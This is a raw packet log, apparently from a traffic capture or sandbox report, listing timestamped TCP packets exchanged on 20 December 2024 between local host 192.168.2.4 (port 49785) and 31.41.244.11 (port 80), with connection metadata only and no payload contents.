Dec 20, 2024 09:12:21.520370960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.521352053 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.521414995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.521454096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.521512985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.522563934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.522619009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.522629023 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.522675037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.523808002 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.523844957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.523873091 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.523905039 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.524907112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.524971962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.525051117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.525106907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.526113033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.526175022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.526247978 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.526307106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.527252913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.527331114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.527398109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.527504921 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.528451920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.528520107 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.528656006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.528711081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.529762030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.529798031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.529828072 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.529861927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.530987024 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.531022072 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.531048059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.531079054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.532017946 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.532080889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.532102108 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.532160997 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.533181906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.533245087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.533305883 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.533361912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.534405947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.534514904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.534548998 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.534606934 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.535617113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.535682917 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.535706997 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.535768032 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.536815882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.536869049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.536881924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.536930084 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.537936926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.537997961 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.538041115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.538155079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.539160967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.539231062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.539378881 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.539441109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.540342093 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.540405989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.540452957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.540509939 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.541544914 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.541608095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.541770935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.541834116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.542705059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.542769909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.542856932 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.542913914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.543973923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.544009924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.544039011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.544068098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.545064926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.545140028 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.545188904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.545269012 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.546267033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.546333075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.546406984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.546467066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.547426939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.547492027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.547569036 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.547626019 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.548659086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.548727036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.548754930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.548808098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.549818993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.549875021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.549879074 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.549928904 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.550988913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.551049948 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.551219940 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.551274061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.552328110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.552362919 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.552385092 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.552422047 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.553390980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.553457022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.553524971 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.553585052 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.554544926 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.554604053 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.554622889 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.554681063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.555756092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.555820942 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.555908918 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.555974007 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.556900024 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.556962013 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.557110071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.557169914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.558089972 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.558154106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.558187008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.558242083 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.559253931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.559328079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.559398890 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.559458971 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.560445070 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.560523033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.560575008 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.560632944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.561650038 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.561708927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.561748981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.561805964 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.562880993 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.562946081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.562956095 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.563011885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.564074039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.564136028 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.564214945 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.564275026 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.565279961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.565341949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.565414906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.565475941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.566569090 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.566603899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.566636086 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.566667080 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.567513943 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.567588091 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.697489977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.697660923 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.697666883 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.697765112 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.697985888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.698064089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.698333979 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.698393106 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708136082 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708237886 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708339930 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708350897 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708368063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708375931 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708384991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708400011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708405972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708416939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708431959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708476067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708482981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708496094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708504915 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708512068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708515882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708527088 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708533049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708537102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.708554029 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708607912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.708607912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.709079981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.709153891 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.709197044 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.709252119 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.709887028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.709949970 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.709989071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.710042000 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.711071968 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.711146116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.711222887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.711282969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.712272882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.712338924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.712429047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.712491989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.713522911 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.713534117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.713593960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.713624001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.714699984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.714710951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.714781046 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.715856075 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.715888977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.715939999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.715996027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.716990948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.717071056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.717164040 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.717228889 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.718214989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.718291998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.718322039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.718393087 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.719368935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.719444990 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.719525099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.719603062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.720591068 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.720657110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.720663071 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.720721006 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.721792936 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.721865892 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.721946955 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.722012043 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.722948074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.723030090 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.723073006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.723154068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.724103928 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.724168062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.724240065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.724303007 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.725315094 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.725397110 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.725496054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.725564957 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.726605892 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.726641893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.726672888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.726702929 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.727668047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.727735996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.727814913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.727883101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.728979111 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.729013920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.729054928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.729101896 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.730014086 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.730087996 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.730160952 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.730220079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.731247902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.731342077 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.731395006 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.731470108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.732424974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.732496977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.732589960 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.732654095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.733606100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.733673096 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.733762980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.733844995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.734781981 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.734863043 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.734905958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.734972000 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.735981941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.736067057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.736114025 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.736176968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.737168074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.737241983 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.737335920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.737401962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.738327980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.738415003 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.738454103 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.738585949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.739656925 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.739691019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.739717960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.739751101 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.740823984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.740859032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.740895033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.740926027 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.741931915 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.741990089 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.742055893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.742113113 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.743105888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.743170977 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.743180037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.743236065 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.744250059 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.744318962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.744400024 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.744455099 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.745424032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.745477915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.745552063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.745611906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.746695042 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.746764898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.746808052 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.746861935 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.747836113 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.747903109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.748037100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.748095989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.749052048 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.749152899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.749159098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.749208927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.750215054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.750274897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.750360966 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.750422001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.751370907 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.751451969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.751528978 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.751589060 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.752620935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:21.752685070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:21.752726078 CET	80	49785	31.41.244.11	192.168.2.4
